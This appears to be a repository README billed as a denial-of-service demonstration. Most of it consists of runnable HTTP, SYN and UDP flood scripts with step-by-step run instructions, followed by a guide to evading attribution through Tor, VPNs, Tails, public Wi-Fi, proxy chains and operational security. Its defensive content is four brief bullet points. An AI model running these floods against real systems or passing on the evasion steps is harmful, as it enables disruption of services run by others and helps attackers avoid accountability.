Cyber-Security.DOS-demo

Introduction

This repository is dedicated to demonstrating the common methods of Denial of Service (DoS) attacks, including how hackers can use tools like the Tor Browser to remain untraceable, and providing educational resources on how to protect against them.

DoS Attack Methods

HTTP Flooding: Overloading a server with HTTP requests.
SYN Flooding: Exploiting the TCP handshake process.
Ping of Death: Sending malformed or oversized packets.
UDP Flooding: Overloading a server with UDP packets.

Protective Measures

Implement rate limiting
Use anti-DDoS services
Configure firewalls and routers to filter traffic
Monitor network traffic for unusual patterns

Running the Scripts

HTTP Flood Attack

import requests

url = "http://target_website.com"
while True:
    response = requests.get(url)
    print(response.status_code)

To run the HTTP flood attack:

Install the necessary dependencies:
```
pip install requests
```
Run the script:
```
python sample_scripts/http_flood.py
```

SYN Flood Attack

#!/bin/bash
# SYN Flood Attack Script
# Requires hping3 tool

if [ "$#" -ne 1 ]; then
    echo "Usage: $0 target_ip"
    exit 1
fi

target_ip=$1
sudo hping3 -S -p 80 --flood $target_ip

To run the SYN flood attack:

Install `hping3`:
```
sudo apt-get install hping3
```

Run the script with root privileges:

sudo bash sample_scripts/syn_flood.sh target_ip

UDP Flood Attack

import socket
import random

target_ip = "target_ip"
target_port = 80
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)

while True:
    sock.sendto(bytes, (target_ip, target_port))

To run the UDP flood attack:

Run the script:
```
python sample_scripts/udp_flood.py
```

Download and Install Tor Browser:

Go to the Tor Project website. Download and install the Tor Browser for your operating system.

Use Tor for Anonymity:

Open the Tor Browser and connect to the Tor network. Navigate to any website through the Tor Browser to mask your IP address and encrypt your traffic.

Using a VPN

A VPN (Virtual Private Network) provides a secure and encrypted connection to the internet, masking your IP address.

Choose a VPN Provider:

Select a reputable VPN provider (e.g., NordVPN, ExpressVPN). Subscribe to their service and install their VPN client.

Connect to the VPN:

Open the VPN client. Connect to a VPN server to mask your IP address.

Combining Tor and VPN

For maximum anonymity, hackers might use both Tor and a VPN.

Connect to the VPN:
```
Start by connecting to a VPN server.
```

Use Tor over VPN:

Open the Tor Browser while connected to the VPN to add an extra layer of anonymity.

Additional Anonymity Measures

Using Secure Operating Systems

Tails: A live operating system that runs from a USB stick and leaves no trace.
Whonix: An operating system designed for anonymity, privacy, and security, using Tor to anonymize all connections.

Encrypting Communication

PGP (Pretty Good Privacy): Encrypting emails and other communications.
End-to-End Encrypted Messaging Apps: Using apps like Signal or Telegram.

Using Public Wi-Fi

Conducting activities from public Wi-Fi to avoid tracing back to their home network.

Obfuscating Traffic

Proxy Chains: Routing traffic through multiple proxies before reaching the destination.
SSH Tunneling: Using Secure Shell (SSH) to create an encrypted tunnel.

Practicing Good OpSec (Operational Security)

Separate Identities: Using different identities for different activities.
Avoiding Reuse of Accounts: Not reusing usernames, passwords, or email addresses.
Clearing Metadata: Removing metadata from files to avoid leaking information.
